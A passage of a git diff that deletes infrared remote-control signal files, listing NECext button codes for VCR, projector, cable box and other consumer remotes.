00 00 -# -name: INDEX_SEARCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_INDEX_SEARCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_SRCH_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_ADJUST_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 97 00 00 00 -# -name: VCRB_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: VCRB_PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: VCRB_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_FF/FWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_SQV/QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_INFO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: VCRB_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: VCRB_REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: VCRB_REW/REV_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: VCRB_OFF-T/OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_SLEEP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: VCRB_QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B3 00 00 00 -# -name: VCR_PLUS+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B3 00 00 00 -# -name: VCRB_QUICKPRG/VCR+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B3 00 00 00 -# -name: VCRB_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: VCRB_ENTER_(EXCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: VCRB_EJECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B6 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B6 00 00 00 -# -name: VCRB_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: VCRB_ANT_A/B -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B9 00 00 00 -# -name: VCBR_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_INPUT_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_SRCH_SKIP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BD 00 00 00 -# -name: VCRB_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_FUNC_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C4 00 00 00 -# -name: VCRB_S.(QUICH_VIEW) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C5 00 00 00 -# -name: VCRB_VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C8 00 00 00 -# -name: VCRB_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CA 00 00 00 -# -name: VCRB_SHUTTLE_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CB 00 00 00 -# -name: VCRB_S.(RE.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CD 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CE 00 00 00 -# -name: VCRB_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_FUNC_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D5 00 00 00 -# -name: VCRB_S.(F.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D5 00 00 00 -# -name: VCRB_AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D8 00 00 00 -# -name: VCRB_S(RE.PLAY_BACK) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DB 00 00 00 -# -name: VCRB_SHU.FWD(NORMAL) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DC 00 00 00 -# -name: VCRB_JOG/SHUTTLE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DE 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: E2 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: EA 00 00 00 -# -name: VCRB_S.(R.FAST_P.B.) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: EB 00 00 00 -# -name: VCRB_JOG_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F3 00 00 00 -# -name: VCRB_ADJUST-JOG -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F3 00 00 00 -# -name: VCRB_JOG_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F4 00 00 00 -# -name: VCRB_ADJUST+JOG -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F4 00 00 00 -# -name: VCRB_S.(F.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F5 00 00 00 -# -name: VCRB_SHUTTLE_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F5 00 00 00 -# -name: VCRB_S.(R.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: FD 00 00 00 -# -name: VCRB_SHUTTLE_REW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir deleted file mode 100644 index 925bdeaf3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: MENU_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 33 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 42 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4A 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5E 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 64 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6C 00 00 00 -# -name: MENU_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 73 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 74 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7C 00 00 00 -# -name: PIC_MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 92 00 00 00 -# -name: MEM_LIST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 9D 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 9F 00 00 00 -# -name: CRT_R -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A1 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A4 00 00 00 -# -name: CRT_G -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A9 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: AC 00 00 00 -# -name: CRT_B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B1 00 00 00 -# -name: FUNC -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B3 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: BB 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: F5 00 00 00 -# -name: INPUT_Y/C -type: parsed -protocol: NECext -address: 47 00 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir deleted file mode 100644 index d80fbab63..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir deleted file mode 100644 index 749b123ed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 01 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 02 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 08 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 09 00 00 00 -# -name: V/H -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0A 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0C 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 14 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 16 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 17 00 00 00 -# -name: P/L -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 19 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir deleted file mode 100644 index 93fa288dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STORE -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 04 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 05 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 06 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 13 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 14 00 00 00 -# -name: T_DOWN -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 15 00 00 00 -# -name: T_UP -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 18 00 00 00 -# -name: M/S -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 19 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1A 00 00 00 -# -name: V/H -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: CA A5 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir deleted file mode 100644 index fc3212e76..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir +++ /dev/null @@ -1,1580 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: C/PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: PPV_/_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: VCR/DVD/VOD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: ALL_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE1_POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE1_POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE3_POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE3_POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE4_POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CODE4_POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: NEW_CODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER/MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: #/ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: OK_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: /ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: C_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: MENU-SELECT/OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_SELECT_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CURSER_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: LAST_CH. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: LAST/PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: PREV_CHANNEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BYPASS-_TV/VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR_INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAVORITE_CHANNEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A/LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A_LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A_(LOCK) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: LOCKOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: LOCK_/_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: P-CHANNEL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: VOD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 